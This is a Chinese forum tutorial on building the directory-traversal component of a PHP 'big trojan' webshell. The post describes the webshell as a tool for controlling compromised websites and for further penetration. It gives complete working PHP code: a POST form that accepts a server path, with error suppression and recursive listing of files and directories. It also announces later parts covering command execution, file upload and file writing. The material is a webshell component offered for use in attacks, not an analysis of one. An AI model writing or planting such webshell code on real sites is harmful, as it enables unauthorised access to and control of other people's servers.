PHP大马基础组件开发——目录遍历组件

Delina · 发表于 2021-8-23 11:06:56

原文链接：PHP大马基础组件开发——目录遍历组件

前言：PHP大马入门知识
php大马，可以通俗理解为由php编写而成的大型木马程序，一般是用来对站点进行全面管理，以便后续渗透操作而用，因为带有提权和站点修改功能，所以也算是木马的一种，是用来控制WEB站点的一种利器。
php大马一般包含以下几个基础功能组件，文件的写入，文件删除，目录浏览，命令执行，文件上传和服务器基本环境信息获取这几个基础功能。
0x01 PHP目录操作
1.新建目录：mkdir(具体路径);
例子：在C盘目录下创建一个www目录

<?php
$dir='C:\www';
mkdir($dir);
?>

复制代码

2.删除目录：rmdir(具体路径);
例子：删除在C盘下的www目录

<?php
$dir='C:\www';
rmdir($dir);
?>

复制代码

3.打开目录：opendir(具体路径);
例子：打开C盘下的www目录

<?php
$dir='C:\www';
$open=opendir($dir);
echo $open;
?>

复制代码

其它更多功能也大同小异，可以以此类推
0x02 目录遍历函数编写
在PHP大马功能组件中，函数部分往往是最关键的主题部分，而这又取决于逻辑的成败与否，一般来说我们进行目录遍历时，都会遇到以下几种情况：
1.可以直接读取目录下的文件
2.目录下还有目录要读取
3.目录或文件没有权限访问
因此我们的基本逻辑是这样的：
先定义一个函数，然后打开这个需要遍历的目录，再用循环语句去读取里面的一层层目录，再判断读取的内容是文件还是目录，如果是文件则直接输出文件名，如果是目录则再次进行读取，周而复始
循环部分代码：

$dir = opendir($dirfile);
while (($file = readdir($dir)) !== false) {
if (is_dir("$dirfile{$file}") && ($file != ".") && ($file != "..")) {
if (is_readable("$dirfile{$file}")) {
echo "dir $dirfile{$file} </br>";
tree("$dirfile{$file}");
} else {
echo "dir $dirfile{$file} can't be visited</br>";
}
} else {
if (($file != ".") && ($file != "..")) {
echo "file $dirfile/{$file} </br>";
}
}
}

复制代码

函数主体代码：

function tree($dirfile)
{
$dir = opendir($dirfile);
while (($file = readdir($dir)) !== false) {
if (is_dir("$dirfile{$file}") && ($file != ".") && ($file != "..")) {
if (is_readable("$dirfile{$file}")) {
echo "dir $dirfile{$file} </br>";
tree("$dirfile{$file}");
} else {
echo "dir $dirfile{$file} can't be visited</br>";
}
} else {
if (($file != ".") && ($file != "..")) {
echo "file $dirfile/{$file} </br>";
}
}
}
//closedir($dir);
}
tree($dirfile);

复制代码

0x03 前后端交互部分编写
前端部分：
前端部分功能很简单，只要完成一个form表单能让用户提交即可，但由于目录很可能是中文的，因此还要弄一个UTF-8的编码才行
完整前端代码：

<html>
<meta charset="UTF-8">
<body>
<form method="post">
<p>You can enter the dir you want to see here </p>
<p>Or you can enter the file which you want to read(in a absolute dictionary)</p>
<input type="text" name='o'>
<input type="submit" name='submit'>
</form>
</body>
</html>

复制代码

后端部分：
后端部分只要接受前端部分返回的数据并且进行变量的定义与赋值，最后再由传参的形式传输函数中运行即可
完整代码：

$dirfile = $_POST['o'];
if($dirfile!='') {
if (isset($_POST['o'])) {
if ($dirfile != '') {
echo "Your aim dir is $dirfile </br>";
}
}

复制代码

0x04 完整代码与效果1.完整组件代码

<?php
error_reporting(0);
echo "Directory traversal";
//递归遍历目录
$dirfile = $_POST['o'];
if($dirfile!='') {
if (isset($_POST['o'])) {
if ($dirfile != '') {
echo "Your aim dir is $dirfile </br>";
}
}
function tree($dirfile)
{
$dir = opendir($dirfile);
while (($file = readdir($dir)) !== false) {
if (is_dir("$dirfile{$file}") && ($file != ".") && ($file != "..")) {
if (is_readable("$dirfile{$file}")) {
echo "dir $dirfile{$file} </br>";
tree("$dirfile{$file}");
} else {
echo "dir $dirfile{$file} can't be visited</br>";
}
} else {
if (($file != ".") && ($file != "..")) {
echo "file $dirfile/{$file} </br>";
}
}
}
//closedir($dir);
}
tree($dirfile);
}
?>
<html>
<meta charset="UTF-8">
<body>
<form method="post">
<p>You can enter the dir you want to see here </p>
<p>Or you can enter the file which you want to read(in a absolute dictionary)</p>
<input type="text" name='o'>
<input type="submit" name='submit'>
</form>
</body>
</html>

复制代码

2.运行效果
访问页面：

输入C：
遍历C盘下的一些目录

功能可以完全实现
后续我们将依次讲解命令执行，文件删除，文件上传，文件写入等功能组件的编写

		自动登录	找回密码
密码			立即注册